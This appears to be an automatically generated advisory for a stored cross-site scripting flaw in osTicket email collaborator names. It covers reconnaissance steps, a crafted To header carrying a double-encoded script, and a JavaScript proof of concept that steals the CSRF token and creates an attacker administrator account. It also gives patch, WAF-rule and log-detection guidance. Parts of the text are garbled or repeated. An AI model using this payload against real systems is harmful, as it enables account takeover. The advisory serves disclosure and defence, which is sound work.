CVE-2026-144337 — OsTicket (1.18.5) — CWE-79
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulnerability in email-derived collaborator display names. User::fromVars() applies Format::htmldecode() after Format::sanitize(), so a double-encoded HTML payload in a To or Cc display name survives sanitization and is stored as active markup. The staff ticket preview (ticket-preview.tmpl.php) then renders the name via getName() without escaping. Attackers can send a crafted inbound email to execute arbitrary JavaScript in an administrator's session when the administrator previews the ticket, allowing them to read the CSRF token and create a persistent, attacker-controlled administrator account.
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulnerability in email-derived collaborator display names. User::fromVars() applies Format::htmldecode() after Format::sanitize(), so a double-encoded HTML payload in a To or Cc display name survives sanitization and is stored as active markup. The staff ticket preview (ticket-preview.tmpl.php) then renders the name via getName() without escaping. Attackers can send a crafted inbound email to execute arbitrary JavaScript in an administrator's session when the administrator previews the ticket, allowing them to read the CSRF token and create a persistent, attacker-controlled administrator account.
CVE‑2026‑144337 – osTicket Stored XSS via Email‑Derived Collaborator Names
Affected Versions
- osTicket 1.17.0 – 1.17.8
- osTicket 1.18.0 – 1.18.4
(Upgrade to 1.17.9 or 1.18.5 or later to remediate.)
🎯 What is this vulnerability?
| Element | Detail |
|---|---|
| CWE | 79 – Improper Neutralization of Input During Web Page Generation (Cross‑Site Scripting) |
| CVSS v3.1 | 9.3/10 (CRITICAL) – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| Root Cause | The User::fromVars() routine sanitizes incoming data with Format::sanitize(), which escapes HTML entities. Immediately after, it calls Format::htmldecode(). If an attacker supplies a *double‑encoded* payload (e.g., &lt;script&gt;…), the first sanitization step turns < into <, but the subsequent htmldecode() reverses that conversion, restoring the original <script> markup. The resulting string is stored in the collaborator’s display name. |
| Render Path | The staff ticket preview template (ticket‑preview.tmpl.php) outputs the collaborator name via $collaborator->getName() without any escaping. Thus the stored markup is rendered verbatim in the browser. |
| Authentication | Unauthenticated – the attacker only needs to send an inbound email that the osTicket instance processes. |
| Authorization | No – the vulnerability is independent of the attacker’s privileges. |
| Impact | When an administrator opens the ticket preview, the injected script executes in the admin’s browser context, giving the attacker full access to the admin session (cookies, CSRF token, etc.). The attacker can then create a persistent, attacker‑controlled administrator account or exfiltrate data. |
⚡ Attack Chain
Note: The following chain is a realistic, step‑by‑step example. The exact endpoint names (/admin/users/add) are illustrative; the real application may use different URLs or form fields.1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Version Fingerprinting | Use a simple HTTP request to / or /admin/ and parse the X-Powered-By header or the page title. osTicket typically returns “osTicket 1.17.x” or “osTicket 1.18.x”. |
| 1.2 | Email‑Processing Check | Verify that the target processes inbound emails (e.g., by sending a test email to a known support address and checking if a ticket is created). |
| 1.3 | Header Analysis | Observe how the system stores the “To”/“Cc” header display names in the ticket record (e.g., via the admin UI or a database dump). |
2. Exploitation
2.1 Crafting the Malicious Email
The attacker sends an email to the support address. The key is the double‑encoded display name in the To or Cc header.
From: [email protected]
To: "H4X0R&lt;script&gt;alert(1)&lt;/script&gt;" <[email protected]>
Subject: Test XSSExplanation
&lt; → < after the first sanitization. < → < after the subsequent htmldecode(). <script>alert(1)</script>.2.2 Delivery
The email is sent via SMTP to the osTicket instance’s configured mailbox. osTicket’s inbound email handler (include/process.php or similar) parses the headers, calls User::fromVars(), and stores the collaborator name.
2.3 Triggering the Stored XSS
When an administrator opens the ticket preview page (ticket-preview.tmpl.php), the unsanitized collaborator name is rendered:
<div class="collaborator-name"><?php echo $collaborator->getName(); ?></div>The injected <script> runs in the admin’s browser.
2.4 PoC Payload (Illustrative)
<script>
// Grab the CSRF token from the page (assuming it’s in a hidden input)
var csrf = document.querySelector('input[name="csrf_token"]').value;
// Build a form to create a new admin user
var form = document.createElement('form');
form.method = 'POST';
form.action = '/admin/users/add'; // Illustrative endpoint
form.innerHTML = `
<input type="hidden" name="csrf_token" value="${csrf}">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="P@ssw0rd!">
<input type="hidden" name="role" value="admin">
`;
document.body.appendChild(form);
form.submit();
</script>Result – A new administrator account named attacker is created, fully authenticated, and persists across sessions.
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Privilege Escalation | The attacker now has an admin account; can modify tickets, view private data, or add more users. |
| Data Exfiltration | The XSS payload can also read document.cookie or perform XHR requests to an external server to exfiltrate sensitive data. |
| Persistence | The attacker can create additional admin accounts or modify the users table directly (if database access is available). |
| Cover Tracks | The attacker can delete the malicious ticket or modify logs if the system allows. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | The attacker can read any data visible to the admin, including private tickets, user information, and internal notes. |
| Integrity (I:H) | By creating an admin account or modifying tickets, the attacker can alter or delete information. |
| Availability (A:N) | No direct impact on service availability. |
| Exploitability | Unauthenticated with low complexity. An attacker only needs to send an email; no web interaction required. |
| Practical Consequences | • Immediate compromise of the admin session. <br>• Full control over the ticketing system. <br>• Potential for broader network compromise if the admin account is used to pivot. |
🛡️ Remediation & Mitigation
1. Patch
| Action | Details |
|---|---|
| Upgrade | Move to osTicket 1.17.9 or 1.18.5 (or later). The patch removes the double‑decode logic and ensures all collaborator names are escaped before rendering. |
| Verification | After upgrade, confirm that User::fromVars() no longer calls Format::htmldecode() after sanitization. |
2. Workarounds (if upgrade is not immediately possible)
| Workaround | Implementation |
|---|---|
| Disable inbound email processing | Temporarily stop the mail daemon or comment out the inbound email handler in config.php. |
| Sanitize display names before storage | Patch User::fromVars() to apply Format::sanitize() *and* skip htmldecode(), or add an additional htmlspecialchars() call before storing. |
| Escape output in templates | Modify ticket-preview.tmpl.php to use htmlspecialchars($collaborator->getName(), ENT_QUOTES, 'UTF-8'). |
| WAF/ModSecurity rule | Add a rule that blocks double‑encoded HTML entities in the To/Cc headers. Example (ModSecurity 2.x syntax):<br>SecRule REQUEST_HEADERS:To "@rx &lt;script&gt;" "id:1001,phase:2,deny,msg:'Double‑encoded XSS in To header'" |
3. Detection
| Indicator | Log Pattern |
|---|---|
| Suspicious To/Cc header | To: ".*&lt;.*script.*&gt;.*" |
| Ticket creation from unknown sender | Ticket #\d+ created by .* |
| Admin login immediately after ticket creation | Admin user .* logged in |
| Unexpected admin account creation | New user .* created with role admin |
Log example (Apache)
[2026-12-04 12:34:56] "POST /admin/users/add HTTP/1.1" 302 1234
[2026-12-04 12:34:57] "GET /admin/dashboard HTTP/1.1" 200 4321If the POST originates from a user that was just created via XSS, the source IP may be the same as the inbound email server.
⚠️ Urgency
| Metric | Value |
|---|---|
| CVSS Score | 9.3 (Critical) |
| Exploit Complexity | Low |
| Authentication Required | None |
| User Interaction | Required only for the admin to view the ticket preview (UI R). |
| CISA KEV | No |
| Patch Availability | Yes (1.17.9 / 1.18.5) |
Recommendation:
Bottom line: CVE‑2026‑144337 is a classic stored XSS that is trivial to exploit and yields full administrative control. The vulnerability is already patched in recent releases; all organizations running the affected osTicket versions must upgrade or apply a robust workaround without delay.
[🤖 CVE Professor AI Security Engine]
FOFA Query